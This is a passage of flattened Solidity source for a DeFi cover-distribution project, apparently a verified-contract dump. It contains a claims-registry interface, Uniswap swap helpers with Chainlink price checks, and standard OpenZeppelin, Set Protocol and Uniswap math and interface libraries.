this index exists function claimExists(uint256 index) external view returns (bool); /// @notice returns claim submition time function claimSubmittedTime(uint256 index) external view returns (uint256); /// @notice returns claim end time or zero in case it is pending function claimEndTime(uint256 index) external view returns (uint256); /// @notice returns true if the claim is anonymously votable function isClaimAnonymouslyVotable(uint256 index) external view returns (bool); /// @notice returns true if the claim is exposably votable function isClaimExposablyVotable(uint256 index) external view returns (bool); /// @notice returns true if claim is anonymously votable or exposably votable function isClaimVotable(uint256 index) external view returns (bool); /// @notice returns true if a claim can be calculated by anyone function canClaimBeCalculatedByAnyone(uint256 index) external view returns (bool); /// @notice returns true if this claim is pending or awaiting function isClaimPending(uint256 index) external view returns (bool); /// @notice returns how many claims the holder has function countPolicyClaimerClaims(address user) external view returns (uint256); /// @notice returns how many pending claims are there function countPendingClaims() external view returns (uint256); /// @notice returns how many claims are there function countClaims() external view returns (uint256); /// @notice returns a claim index of it's claimer and an ordinal number function claimOfOwnerIndexAt(address claimer, uint256 orderIndex) external view returns (uint256); /// @notice returns pending claim index by its ordinal index function pendingClaimIndexAt(uint256 orderIndex) external view returns (uint256); /// @notice returns claim index by its ordinal index function claimIndexAt(uint256 orderIndex) external view returns (uint256); /// @notice returns current active claim index by policybook and claimer function claimIndex(address claimer, address policyBookAddress) external view returns (uint256); /// @notice returns true if the claim is appealed function isClaimAppeal(uint256 index) external view returns (bool); /// @notice returns current status of a claim function policyStatus(address claimer, address policyBookAddress) external view returns (ClaimStatus); /// @notice returns current status of a claim function claimStatus(uint256 index) external view returns (ClaimStatus); /// @notice returns the claim owner (claimer) function claimOwner(uint256 index) external view returns (address); /// @notice returns the claim PolicyBook function claimPolicyBook(uint256 index) external view returns (address); /// @notice returns claim info by its index function claimInfo(uint256 index) external view returns (ClaimInfo memory _claimInfo); function getAllPendingClaimsAmount() external view returns (uint256 _totalClaimsAmount); function getClaimableAmounts(uint256[] memory _claimIndexes) external view returns (uint256); /// @notice marks the user's claim as Accepted function acceptClaim(uint256 index) external; /// @notice marks the user's claim as Rejected function rejectClaim(uint256 index) external; /// @notice Update Image Uri in case it contains material that is ilegal /// or offensive. /// @dev Only the owner of the PolicyBookAdmin can erase/update evidenceUri. /// @param _claimIndex Claim Index that is going to be updated /// @param _newEvidenceURI New evidence uri. It can be blank. function updateImageUriOfClaim( uint256 _claimIndex, string calldata _newEvidenceURI ) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.7.4; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "../dependencies/utils/PreciseUnitMath.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "../dependencies/interfaces/IPriceFeed.sol"; import "../dependencies/interfaces/IUniswapV2Router02.sol"; import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV3Interface.sol"; abstract contract AbstractDistributor { using SafeMathUpgradeable for uint256; event BuyCoverEvent( address _productAddress, uint256 _productId, uint256 _period, address _asset, uint256 _amount, uint256 _price ); uint256 constant SECONDS_IN_THE_YEAR = 365 * 24 * 60 * 60; // 365 days * 24 hours * 60 minutes * 60 seconds*//* uint256 constant MAX_INT = type(uint256).max; uint256 constant DECIMALS18 = 10**18; uint256 constant PRECISION = 10**25; uint256 constant PERCENTAGE_100 = 100 * PRECISION; uint256 constant BLOCKS_PER_DAY = 6450; uint256 constant BLOCKS_PER_YEAR = BLOCKS_PER_DAY * 365; uint256 constant APY_TOKENS = DECIMALS18; address constant ETH = (0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function _swapTokenForToken( address _priceFeed, uint256 _amountIn, address _from, address _to, address _via ) internal returns (uint256) { if (_amountIn == 0) { return 0; } address[] memory pairs; if (_via == address(0)) { pairs = new address[](2); pairs[0] = _from; pairs[1] = _to; } else { pairs = new address[](3); pairs[0] = _from; pairs[1] = _via; pairs[2] = _to; } uint256 _expectedOut = IPriceFeed(_priceFeed).howManyTokensAinB( _to, _from, _via, _amountIn, false ); uint256 _amountOutMin = _expectedOut.mul(99).div(100); address _uniswapRouter = IPriceFeed(_priceFeed).getUniswapRouter(); return IUniswapV2Router02(_uniswapRouter).swapExactTokensForTokens( _amountIn, _amountOutMin, pairs, address(this), block.timestamp.add(600) )[pairs.length.sub(1)]; } function _swapExactETHForTokens( address _priceFeed, address _token, uint256 _amountIn ) internal returns (uint256) { IUniswapV2Router02 _uniswapRouter = IUniswapV2Router02( IPriceFeed(_priceFeed).getUniswapRouter() ); address _wethToken = _uniswapRouter.WETH(); address[] memory pairs = new address[](2); pairs[0] = address(_wethToken); pairs[1] = address(_token); uint256 _expectedOut; address _tokenFeed = IPriceFeed(_priceFeed).chainlinkAggregators( _token ); if (_tokenFeed != address(0)) { (, int256 _price, , , ) = AggregatorV3Interface(_tokenFeed) .latestRoundData(); _expectedOut = uint256(_price).mul(_amountIn).div(10**18); } else { _expectedOut = IPriceFeed(_priceFeed).internalPriceFeed(_token); _expectedOut = _expectedOut.mul(_amountIn).div(10**18); } uint256 _amountOutMin = _expectedOut.mul(99).div(100); return _uniswapRouter.swapETHForExactTokens{value: _amountIn}( _amountOutMin, //amountOutMin pairs, address(this), block.timestamp.add(600) )[pairs.length - 1]; } function _checkApprovals( address _priceFeed, address _asset, uint256 _amount ) internal { address _uniswapRouter = IPriceFeed(_priceFeed).getUniswapRouter(); if ( IERC20Upgradeable(_asset).allowance( address(this), address(_uniswapRouter) ) < _amount ) { IERC20Upgradeable(_asset).approve( address(_uniswapRouter), PreciseUnitMath.MAX_UINT_256 ); } } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {SignedSafeMath} from "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title PreciseUnitMath * @author Set Protocol * * Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from * dYdX's BaseMath library. * * CHANGELOG: * - 9/21/20: Added safePower function * - 4/21/21: Added approximatelyEquals function */ library PreciseUnitMath { using SafeMath for uint256; using SignedSafeMath for int256; // The number One in precise units. uint256 internal constant PRECISE_UNIT = 10**18; int256 internal constant PRECISE_UNIT_INT = 10**18; // Max unsigned integer value uint256 internal constant MAX_UINT_256 = type(uint256).max; // Max and min signed integer value int256 internal constant MAX_INT_256 = type(int256).max; int256 internal constant MIN_INT_256 = type(int256).min; /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnitInt() internal pure returns (int256) { return PRECISE_UNIT_INT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxUint256() internal pure returns (uint256) { return MAX_UINT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxInt256() internal pure returns (int256) { return MAX_INT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function minInt256() internal pure returns (int256) { return MIN_INT_256; } /** * @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISE_UNIT); } /** * @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the * significand of a number with 18 decimals precision. */ function preciseMul(int256 a, int256 b) internal pure returns (int256) { return a.mul(b).div(PRECISE_UNIT_INT); } /** * @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } return a.mul(b).sub(1).div(PRECISE_UNIT).add(1); } /** * @dev Divides value a by value b (result is rounded down). */ function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISE_UNIT).div(b); } /** * @dev Divides value a by value b (result is rounded towards 0). */ function preciseDiv(int256 a, int256 b) internal pure returns (int256) { return a.mul(PRECISE_UNIT_INT).div(b); } /** * @dev Divides value a by value b (result is rounded up or away from 0). */ function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Cant divide by 0"); return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0; } /** * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0). */ function divDown(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "Cant divide by 0"); require(a != MIN_INT_256 || b != -1, "Invalid input"); int256 result = a.div(b); if (a ^ b < 0 && a % b != 0) { result -= 1; } return result; } /** * @dev Multiplies value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(b), PRECISE_UNIT_INT); } /** * @dev Divides value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(PRECISE_UNIT_INT), b); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower(uint256 a, uint256 pow) internal pure returns (uint256) { require(a > 0, "Value must be positive"); uint256 result = 1; for (uint256 i = 0; i < pow; i++) { uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } /** * @dev Returns true if a =~ b within range, false otherwise. */ function approximatelyEquals( uint256 a, uint256 b, uint256 range ) internal pure returns (bool) { return a <= b.add(range) && a >= b.sub(range); } } pragma solidity >=0.6.2; import "./IUniswapV2Router01.sol"; interface IUniswapV2Router02 is IUniswapV2Router01 { function WETH() external pure override returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external virtual override returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; interface IPriceFeed { function getUniswapRouter() external view returns (address); function chainlinkAggregators(address _token) external view returns (address); function internalPriceFeed(address _token) external view returns (uint256); function howManyTokensAinB( address tokenA, address tokenB, address via, uint256 amount, bool viewOnly ) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; interface IDistributor is IERC165Upgradeable { struct Cover { bytes32 coverType; uint256 productId; bytes32 contractName; uint256 coverAmount; uint256 premium; address currency; address contractAddress; uint256 expiration; uint256 status; address refAddress; } struct CoverQuote { uint256 prop1; uint256 prop2; uint256 prop3; uint256 prop4; uint256 prop5; uint256 prop6; uint256 prop7; } struct BuyInsuraceQuote { uint16[] products; uint16[] durationInDays; uint256[] amounts; address currency; uint256 premium; address owner; uint256 refCode; uint256[] helperParameters; uint256[] securityParameters; uint8[] v; bytes32[] r; bytes32[] s; } function getCoverCount(address _userAddr, bool _isActive) external view returns (uint256); function getCover( address _owner, uint256 _coverId, bool _isActive, uint256 _loopLimit ) external view returns (IDistributor.Cover memory); function getQuote( uint256 _sumAssured, uint256 _coverPeriod, address _contractAddress, address _coverAsset, address _nexusCoverable, bytes calldata _data ) external view returns (IDistributor.CoverQuote memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert 